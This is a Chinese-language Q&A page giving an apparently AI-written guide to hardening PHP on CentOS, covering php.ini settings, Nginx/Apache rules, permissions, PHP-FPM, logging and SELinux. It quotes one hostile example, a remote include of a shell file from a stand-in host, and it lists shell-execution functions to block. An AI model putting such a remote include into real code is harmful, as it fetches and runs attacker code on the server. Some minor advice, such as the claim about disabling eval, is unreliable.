温馨提示×

CentOS怎样配置PHP安全

小樊
37
2026-07-19 11:13:32
栏目: 编程语言

CentOS 上配置 PHP 安全加固,可以从 PHP 配置、系统权限、Web 服务器配合、日志与审计 四个方面入手。下面以 CentOS 7/8 + PHP(7.x / 8.x) 为例,给出一套较完整的安全配置方案。


一、基础环境加固

1. 保持系统 & PHP 更新

yum update -y
yum update php*

或(CentOS 8 / Stream):

dnf update php*

✅ 安全漏洞多数来自未更新的 PHP 版本


二、PHP 核心安全配置(php.ini)

配置文件位置通常为:

/etc/php.ini

或:

/etc/php.d/*.ini

1️⃣ 关闭错误显示(防止信息泄露)

display_errors = Off
log_errors = On
error_log = /var/log/php_error.log

2️⃣ 禁用危险函数

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,dl,show_source,assert

⚠ 根据业务调整,避免影响正常功能


3️⃣ 关闭文件远程包含

allow_url_fopen = Off
allow_url_include = Off

防止:

include "http://evil.com/shell.txt";

4️⃣ 限制 PHP 可访问目录(open_basedir)

open_basedir = /var/www/html:/tmp

✅ 防止 PHP 读取 /etc/passwd 等系统文件


5️⃣ 关闭暴露 PHP 版本

expose_php = Off

6️⃣ 文件上传安全

file_uploads = On
upload_max_filesize = 2M
upload_tmp_dir = /tmp

✅ 上传目录 禁止执行 PHP


7️⃣ Session 安全

session.cookie_httponly = 1
session.cookie_secure = 1   # HTTPS 时开启
session.use_strict_mode = 1
session.gc_maxlifetime = 1440

三、Web 服务器配合(Nginx / Apache)

✅ Nginx 示例(禁止执行上传目录 PHP)

location ~* ^/uploads/.*\.php$ {
    deny all;
}

✅ Apache 示例

<Directory "/var/www/html/uploads">
    php_flag engine off
</Directory>

四、文件权限与用户隔离(非常重要)

1️⃣ PHP 运行用户

ps aux | grep php-fpm

推荐:

  • Nginx → nginx
  • PHP-FPM → www-dataphp-fpm

2️⃣ 网站目录权限

chown -R nginx:nginx /var/www/html
chmod -R 755 /var/www/html
chmod 700 /var/www/html/config

禁止 777


3️⃣ 上传目录

chown nginx:nginx /var/www/html/uploads
chmod 750 /var/www/html/uploads

五、PHP-FPM 安全配置

编辑:

/etc/php-fpm.d/www.conf

1️⃣ 用户隔离

user = nginx
group = nginx

2️⃣ 限制 FPM 进程

pm = dynamic
pm.max_children = 50

3️⃣ 禁止 FPM 状态暴露

;pm.status_path = /status

六、日志与审计

1️⃣ PHP 错误日志

touch /var/log/php_error.log
chown nginx:nginx /var/log/php_error.log

2️⃣ 系统日志

/var/log/messages
/var/log/secure

七、防火墙 & SELinux(CentOS 强项)

1️⃣ 防火墙

firewall-cmd --permanent --add-service=http
firewall-cmd --reload

2️⃣ SELinux(强烈建议开启)

getenforce

✅ Enforcing 模式

如需要:

setsebool -P httpd_read_user_content 1

八、常见安全建议总结

✅ 不要使用 root 运行 PHP
✅ 禁用 eval / assert / exec
✅ 上传目录禁止执行 PHP
✅ 开启 HTTPS
✅ 定期更新 PHP 和系统
✅ 使用 WAF(如 ModSecurity)


如果你愿意,我可以根据你的 CentOS 版本 + PHP 版本 + Nginx/Apache 给你一份 可直接使用的配置文件模板

0